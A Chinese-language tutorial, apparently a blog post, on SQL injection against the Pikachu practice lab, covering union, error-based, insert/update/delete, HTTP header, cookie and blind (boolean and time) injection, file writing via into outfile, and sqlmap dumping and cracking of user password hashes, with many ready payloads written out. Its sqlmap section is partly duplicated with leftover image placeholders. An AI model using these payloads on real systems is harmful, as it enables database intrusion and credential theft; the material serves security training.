赞
踩
在OWASP发布的TOP 10 中,注入漏洞一直是危害排名第一的漏洞,其中主要指的是SQL Inject漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
数据库输入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其执行,导致数据库信息泄露的一种漏洞。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
SQL注入的基本流程:
第一步:注入点探测
第二步:信息获取
通过注入点获取期望得到的数据。
第三步:获取权限
获取操作系统权限:通过数据库执行shell,上传木马
常见的注入点类型:
我们进来以后可以看到有一个下拉框,我们点击,可以发现这里就是我们的注入点,并且这个是通过post方式进行传参的,url里并没有我们的参数。
猜想:
i d = id= id=_POST[‘id’]
select 字段1,字段2 from 表名 where id=$id
我们这里抓包去看一下,抓到包后发送到repeater
我们修改这里
然后可以看到返回200
我们看一下对应的返回页面,我们在Render也就是页面渲染中可以看到我们的返回页面
我们可以看到这里返回了所有的用户,说明这里存在一个sql注入漏洞,并且是数字型的sql注入漏洞。
我们可以先数字型注入得到的用户名去输入一下看看
当我们随便输入的时候,它会提示我们用户不存在
我们可以看到它的请求实在url里提交的,是一个get请求
猜想:
u n a m e = uname= uname=_GET[‘username’]
select 字段1,字段2 from 表面 where username = ‘$uname’;
构造闭合语段:kobe’ or 1=1# (后面的单引号可以通过#或者- -注释掉)
原来的sql语句就会变成:select 字段1,字段2 from 表面 where username = ‘kobe’or 1=1#’;然后我们去测一下这个payload
我们来看一下源码:
这种操作在数据库里表现为:
select * from member where username like ‘%k%’;
我们来看一下源码:
我们需要构造一个合法的闭合:like ‘%xxxx%'or 1=1#%’,这就是我们的payload:xxxx%'or 1=1# 我们可以输入进去看一下
我们成功的构造了payload,让后台参数传进去的时候,构造了一个合法的SQL语句的闭合,导致数据库信息被我们遍历出来。
变量拼接的类型是多种多样的,其实不单单是我们上面所说的这几种,所以我们的核心思想是去猜测后台所用的是什么类型,并给他构造合法的闭合。
我们还是直接看一下源码,把它的逻辑理解一下:
构造一个合法的闭合: =(‘xx’)or 1=1#’),所以我们的payload就是 xx’)or 1=1# 我们来试一下
这里就可以把对应的数据遍历出来了。
但在实际情况中,我们是看不到网站后台的源码的,那么我们如何去构造这个闭合又是如何去知道这里存在SQL注入漏洞的呢?那就需要结合我们的经验和我们的想象了,多去做一些payload的测试,根据返回结果来判断我们是否打中了。
下面结合字符型注入我们了解一下简单的判断机制:
这里是一个username,所以我们就可以猜测这里不出意外的话应该是一个字符串,字符串一般是用单引号或者双引号去闭合的,所以我们可以去进行尝试。
双引号我们尝试发现不行,再去尝试单引号
一般出现这种就说明是闭合正确了,存在sql漏洞,然后我们继续完善闭合,在后面加入#注释掉后面的内容
我们还可以通过类似于kobe’ and 1=1#和kobe’ and 1=2#这种,正确结+后面的一个真假来判断是否我们输入的语句参与到了后台数据库的运算。
或者我们可以通过输入特殊符号,来查看报错
通过这种报错,也可以知道这里是存在sql漏洞的,当然有很多程序员会把这种报错机制处理掉,这个就是sql盲注了。
不管是啥型,就是对SQL中的各种类型的输入进行闭合测试,构造合法SQL,欺骗后台执行!
MySQL服务器支持的三种注释:
注入方式get和post区别:
union联合查询:可以通过联合查询来查询指定的数据
用法举例: select username,password from user where id=1 union select 字段1,字段2 from 表名
联合查询的字段数需要和主查询一致!
我们这里以字符型注入为例,其实都是一样的:
首先我们如何去猜测这个字段数呢?这里就要用到order by,order by就是排序的意思
我们可以看到我们用第三列排序的时候就会报错,这个报错的意思就是不认识第三列,因为在查询结果中就只有两列,对应的就是只有两个字段。在实际情况中我们一般可以使用二分法来进行测试。
5不存在,我们就使用3,3不存在我们就使用2
我们使用2的时候报错发生了改变,说明2是正确的,主查询的字段就是2个
我们输入 1’union select database(),user()#
这样就查到了我们的数据库的名称和当前的用户权限。我们还可以来查一下他的版本 a’ union select version(),4#
这里的4就是把4打印出来,version查的是版本、
我们就可以看到版本就是5.5.53,还有很多我们都可以通过这种方法去查找出来。
SQL小知识补充:
在mysql中,自带的information_schema这个表里面存放了大量的重要信息,具体如下:如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。
比如:
我们首先通过 ’(单引号)根据错误来判断是否存在sql注入漏洞,当我们确认这个点存在SQL注入漏洞后呢,我们可以来进行一些相关的测试:用kobe‘ or 1=1#来遍历数据,遍历出数据,并不能满足我们的要求,我们继续往下来测,这里可以使用order by来判断有几个字段,确认字段后,我们可以使用union联合查询来获取基础信息,比如当前数据库的名称等。拿到数据库的名称之后我们就可以尝试使用information_schema去获取数据,例如:
kobe’ union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu’#
pikachu这个数据库里的所有的数据的表名就都爆出来了。这里有一个users,我们就可以怀疑是不是后端的所有账号密码都在这个表里面呢,我们就可以进行进一步的测试了。
kobe’ union select table_name,column_name from information_schema.columns where table_name=‘users’#
我们就可以看到在users这个表里有那些字段了,包括账号,密码等等。我们现在要拿到的就是username和password。
kobe’ union select user,password from users#
我们看到这种长度的密码就可以判断基本是用md5进行了加密,我们可以把这个md5值去网上解密一下。
所以admin的密码就是123456,pikachu的密码就是000000,test的密码就是abc123
技巧思路:
在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。
背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
updatexml():函数是MySQL对XML文档数据进行查询和修改的XPATH函数
作用:改变(查找并替换)XML文档中符合条件的节点的值。
语法:UPDATEXML(xml_document,Xpathstring,new_value)
Xpath定位必须是有效的,否则会发生错误
select下报错的利用:
kobe’ and updatexml(1,version(),0)#
提示语法错误。然后.53并不是一个完整的版本号,这是因为这个报错内容我们需要经过处理,它才会爆出完整的版本号,否则他会把一部分内容吃掉
kobe’ and updatexml(1,concat(0x7e,version()),0)#
concat实际上就是把你传进去的两个参数组合成一个完整的字符串打印出来;concat也可以执行表达式,它可以把前面的字符串和后面这个表达式执行的结果构成一个字符串把它拼起来,构成一个完整的字符串,把它打印出来。(0x7e实际上就是~符号,这是它的十六禁止,实际上你也可以使用别的符号的十六进制,它主要是为了避免我们的信息不被这个报错的内容吃掉)
我们这里其实只需要把version()这个表达式,替换成我们想要的表达式就可以了,例如database()
我们还可以把它换成一个select查询
kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’)),0)#
提示报错只能一次显示一行,我们可以使用limit一次一次进行获取表名
kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1)),0)#
这样就得到了第一个表的名称,我们要获取第2个表的名称,就只需要将0改成1,以此类推
kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 1,1)),0)#
获取到表名后,再获取列名,思路是一样的:
kobe’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’ limit 0,1)),0)#
获取到列名称后,再来获取数据:
kobe’ and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
kobe’ and updatexml(1,concat(0x7e,(select password from users where username=‘admin’ limit 0,1)),0)#
extractvalue():函数是MySQL对XML文档数据进行查询的XPATH函数
作用:从目标XML中返回包含所查询值的字符串
语法:ExtractValue(xml_document,xpath_string)
Xpath定位必须是有效的,否则会发生错误
kobe’ and extractvalue(0,concat(0x7e,version()))#
floor():MySQL中用来取整的函数
运算里面一定要有count,group by,rand
kobe’ and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
kobe’ and (select 2 from (select count(*),concat((select password from users where username=’admin’ limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
我们进来后看到有一句提示“如果你还没有账号,请点击注册”我们点击注册
实际上就是在这个点存在一个SQL注入漏洞,这里是一个insert注入,所谓insert就是前端注册信息会被后台通过insert这个操作插入到数据库里去,如果在注册的时候没有做这个防SQL注入的处理,导致前端的输入可以直接拼接到后端的insert相关操作里面去,形成了这样一个insert注入。
我们可以在这里的两个必填项,第一个输入单引号,第二个随便输入,然后我们提交
返回了这样的报错,其实就说明了我们输入的内容在后台参与了SQL的拼接,所以导致了一个明显的MySQL报错
数据库中正常的insert操作:
insert into member(username,pw,sex,phonenum,email,address)values(‘xxxx’ ,111111,1,2,3,4);
构造闭合:insert我们一般可以通过or来构造闭合
eg:insert into member(username,pw,sex,phonenum,email,address)values(‘1’ or 语句 or’’,111111,1,2,3,4);
关于insert下的报错:
xiaohong’ or updatexml(1,concat(0x7e,database()),0) or ’
update和insert是几乎一模一样的,我们去对应的注入点做一下测试:
我们进来先登录,登录进来可以看到能修改个人信息,这里就是通过update来操作后台数据库,把相关内容更新为我们要的内容。
我们还是输入刚才的payload:xiaohong’ or updatexml(1,concat(0x7e,database()),0) or ’
另外一个是delete,它跟我们之前的思路也差不多
进来之后是一个似曾相识的留言板,我们随便输入一些留言
delete就是把对应的浏览删掉,我们删掉一个,看一下burp数据包的类型
这个请求就是把我们留言对应的id传到后台,后台再将id对应的留言给删掉了,我们将这个数据包发送到repeter里面去,然后在repeter里我们可以对这个id进行一个闭合操作,因为对后端来说他就是获取了这个id。
因为它传进去的是一个id,所以应该是数字型的,不用加单引号去闭合
关于delete下的报错:
id=1 or updatexml(1,concat(0x7e,database()),0)
因为我们的参数是在URL里提交的,是get请求提交的,所以我们要对它进行一个URL编码,否则的话这一整段不是一个完整的URL
右键——转换选中的内容(Convert selection)——URL——对特殊字符URL编码(URL-encode key characters)
编码完成后我们可以看到空格都变成了+号
发送,我们查看返回的响应,拉到最下面,我们就可以看到这个syntax error了
insert/update/delete和select区别在于我们没法用union去进行联合查询,因为它不是一个查询,是一个操作。
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookies验证)或者通过http header头信息获取客户端的一些信息,比如useragent,accept字段等等,会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于http header的SQL Inject漏洞。
我们登录一下这个账号密码
显示我的信息已经被记录了,我们看一下它记录了我们的ip地址, user agent,http accept,端口,我们就可以想到它的后台应该是对我们头部信息里的这些进行了获取,那么它是不是对这些数据进行了数据库的操作呢,我们可以测试一下。一般来说在获取HTTP头数据的地方都可能会存在http header注入的问题。
我们返回burpsuite看一下数据包
我们把它发送到repeter里面去,然后再repeter里我们直接用agent这样一个字段去做测试,我们把这个user-agent里面的数据删除掉,我们自己来构造一个
我们输入一个单引号做测试,发现响应的最下面给我们报了一个MySQL的语法错误,说明这里是存在SQL注入语法漏洞的,我们输入的单引号直接放到SQL语句去执行了。
在这个地方我们就可以构建payload来进行测试了。
基于http header:
firefox’ or updatexml(1,concat(0x7e,database()),0)or ’
我们在cookie后面添加一个单引号,看看会不会有报错
这里直接报错,语法错误,说明这里存在SQL注入漏洞,我们构建一个payload来测试一下
基于http header:
Cookie: ant[uname]=admin’ and updatexml(1,concat(0x7e,database()),0)#;
我们在测试SQL注入的时候除了一些常见的注入点以外,http header也很容易产生SQL注入漏洞。
什么是盲注?
在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,此时无法根据报错信息来进行注入的判断。这种情况下的注入,称为盲注。根据表现形式的不同,盲注又分为based boolean和based time两种类型
基于boolean的盲注主要表现症状:
我们输入一个单引号,它不会报错,会直接告诉我们用户名不存在
我们输入kobe’ or 1=1#来测试,也是用户名不存在
那么是不是这里就不存在SQL注入漏洞呢?我们可以进一步来判断 kobe’ and 1=1#
发现这里打印出了正确的输出,但是我们这里不止有正确的输出,还有1=1#,那么是不是1=1#也被执行了呢,我们可以试一下 kobe’ and 1=2#
1=2的时候就显示不存在了,因为1=2为假,通过这样的逻辑比对我们就可以知道这里存在SQL注入漏洞,因为它会把我们拼进去的and 1=1#和and 1=2#带入到sql里面去运算、
我们可以使用之前基于报错的payload来试一下 kobe’ and extractvalue(0,concat(0x7e,version()))#
这里仍然提示的是用户名不存在这样一个结果,所以说我们之前的方法在这里都是行不通的。那么我们该如何获取数据呢?
我们先看一下正常数据库里的操作:
既然在页面上只能判断真假,那么这个时候我们就可以对数据库里面的结果去按照刚才的方法去截取一个字符,转换成ASCII码然后去进行比较,只不过这个方式会很麻烦,因为盲注这种情况你没法通过页面上的返回来直接拿数据,你只能通过这种猜测的方式(真或者假)去一步一步猜测后面的数据,所以盲注如果要手工利用的话会非常的麻烦,非常的耗时间,我们在搞懂盲注原理的情况下,可以使用工具去进行自动化的测试。
对长度的判断,我们可以通过length来查询:
kobe’ and ascii(substr(database(),1,1))>113# 如果返回了对应的信息就说明后面的结果为真
返回结果不存在就说明后面的结果为假,根据这个真或者假我们就能判断它的ASCII码是否是大于113的
kobe’ and ascii(substr(database(),1,1))=112#
返回科比的信息,说明第一个字符的ASCII码就是112,也就是p
正常的话我们不可能这么快的猜出来,需要一个一个去试。这个思路有点费劲,但是是行得通的,按照这么一个逻辑我们就可以继续相关的构造。
之后我们会使用sqlmap来测盲注,这样效率会比较高。
如果说基于Boolean的盲注在页面上还可以看到0 or 1的回显的话,那么基于time的盲注完全就看不到啥了!
但还有一个条件,就是“时间”,通过特定的输入,判断后台执行的时间,从而确定注入!
常用的Test Payload:kobe’ and sleep(5)#
看看输入:kobe和输入kobe’ and sleep(5)#的区别,从而判断这里存在based time的SQL注入漏洞
我们进入靶场,先输入个单引号看一下
它是没有进行报错的,我们输入kobe,也没有结果
那么我们再输入判断 kobe’ or 1=1#,也没有结果,是不是这里就不存在SQL注入点呢,我们现在无法确定我们的payload是否参与了后台的拼SQL
我们还有一个方法,基于时间的测试,打开控制台,开发者选项,打开网络,重新载入链接,输入kobe’ and sleep(5)#,如果这里存在拼SQL的操作的话,就会把我们输入的sleep(5)去执行
我们可以看到它用了5秒多钟,说明它把我们的sleep执行了,我们就可以确认这里是存在一个基于时间的SQL盲注
基于时间的延迟:
kobe’ and if((substr(database(),1,1))=‘p’,sleep(5),null)#
如果是真的话,他就会暂停五秒钟,如果为假就不会暂停
我们这里就是通过延迟函数去判断我们的真假。
一句话木马
一句话木马是一种短小而精悍的木马客户端,隐蔽性号,且功能强大.
一句话木马其实就是利用我们各种语言提供的用来执行代码的函数或者是执行操作系统的一些函数,利用它来发构造一些简单的木马程序。我们可以把这些函数直接写到一个文件里面去,然后通过对这个文件进行访问去执行这个函数,然后向这个函数里面去传入我们想要的对应的操作,因为这个函数本身就是用来执行代码或者执行操作系统命令的,那么我们传进去的内容就会被作为远程控制的操作去执行,从而完成对服务端的控制;
通过SQL注入漏洞写入恶意代码:
select 1,2 into outfile “/var/www/html/1.txt”
into outfile将select的结果写入到指定的目录1.txt中
在一些没有回显注入中可以使用into outfile将结果写入到指定的文件,然后访问获取
前提条件:
kobe’ and exists(select * from aa)#
这个表不存在,我们把这个数据包抓下来,发送到Intruder里面去,清楚payload位置,然后给aa去add payload
只有一个变量,一个payload,所以我们选择狙击手模式(Sniper)
添加字典,我们这里就随便输入几个错的和一个正确的看一下
我们开始攻击,很快就完了,我们可以看到只有这users没有doesn’t exist的返回,说明他的表名就是users
知道表的名字我们就可以去猜列的名字
kobe’ and exists(select id from users)#
方法同上,不再重复。
PHP防范
转义+过滤
转义+过滤的方法我们可以去实施,但是再SQL注入的防范上不是最好的方法。
PDO预处理
推荐的做法:使用PDO的prepare预处理(预处理+参数化)
网络防护
在web应用服务器前部署WAF设备:topo
what‘s sqlmap?
Automatic SQL injection and database takeover tool
在实际工作中,为了提高效率,我们会使用一些自动化的工具去做测试,但是前提是我们一定要搞懂这些漏洞的原理。
下载的话直接去它的官网下载就好了,下载好后解压,我们直接进去通过py文件就能使用
sqlmap的经典用法:
第一步:
-u “xxx” --cookie= “yyy” //带上cookie对URL进行注入探测
第二步:
-u “xxx” --cookie= “yyy” -current-db //对数据库名进行获取
第三步:
-u “xxx” --cookie= “yyy” -D pikachu --tables //对数据库的表名进行枚举
第四步:
-u “xxx” --cookie=“yyy” -D pikachu -T users --columns //对库里面的名为users表的列名进行枚举
我们以盲注为例
我们随便输入,然后可以看到这是一个get请求,他的注入点就在name这个传参里面
我们把这个URL复制下来
开始运行
很快它就查到了一个SQL注入漏洞,对应名字是name,请求方式是get,对应的类型是union查询
然后我们可以进行进一步测试,加上-current-db,去获取当前的数据库名称
我们可以看到很快它就把我们pikachu这个数据库的名称就获取出来了
然后我们拿到数据库的名称,要接着去拿数据库里面的表 -D pikachu --tables
很快,它就把表都给我们列出来了
拿到表后,我们要去拿表里面的列名 -D pikachu -T users --columns
这样很快它就能把列名给我们拿出来了
然后我们就要去拿里面的username和password -D pikachu -T users -C username,password --dump
这里其实它已经拿到里面的内容了,但是它发现里面是hash值,是加过密的,他会问我们要不要把这个hash值存到一个文件里面去,然后等会儿用其他工具去破解,我们就不用了,因为sqlmap本身自带了一个暴力破解工具
他又问我们要不要暴力破解,我们选y
选完y后,它会问我们要使用sqlmap自带的字典呢,还是去自定义一个字典,还是去上传一个自定义的文件,我们选1,用sqlmap自带的就好了
然后又问我们是否需要使用基于后缀的方式去做匹配,这样做会比较慢但是比较准确,我们暂时也不用了
这是就开始对hash值进行破解了,很快就会破解出来了
表里面的列名 -D pikachu -T users --columns
[外链图片转存中…(img-D7CgVk7b-1670820744322)]
这样很快它就能把列名给我们拿出来了
[外链图片转存中…(img-hmPL26bW-1670820744322)]
然后我们就要去拿里面的username和password -D pikachu -T users -C username,password --dump
[外链图片转存中…(img-fZeTq2Dw-1670820744323)]
这里其实它已经拿到里面的内容了,但是它发现里面是hash值,是加过密的,他会问我们要不要把这个hash值存到一个文件里面去,然后等会儿用其他工具去破解,我们就不用了,因为sqlmap本身自带了一个暴力破解工具
[外链图片转存中…(img-IPT8vTOy-1670820744324)]
他又问我们要不要暴力破解,我们选y
[外链图片转存中…(img-Q8ZILfKg-1670820744325)]
选完y后,它会问我们要使用sqlmap自带的字典呢,还是去自定义一个字典,还是去上传一个自定义的文件,我们选1,用sqlmap自带的就好了
[外链图片转存中…(img-eSJ2weeY-1670820744325)]
然后又问我们是否需要使用基于后缀的方式去做匹配,这样做会比较慢但是比较准确,我们暂时也不用了
[外链图片转存中…(img-43J7wwP1-1670820744325)]
这是就开始对hash值进行破解了,很快就会破解出来了
[外链图片转存中…(img-wBwkCDds-1670820744326)]
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。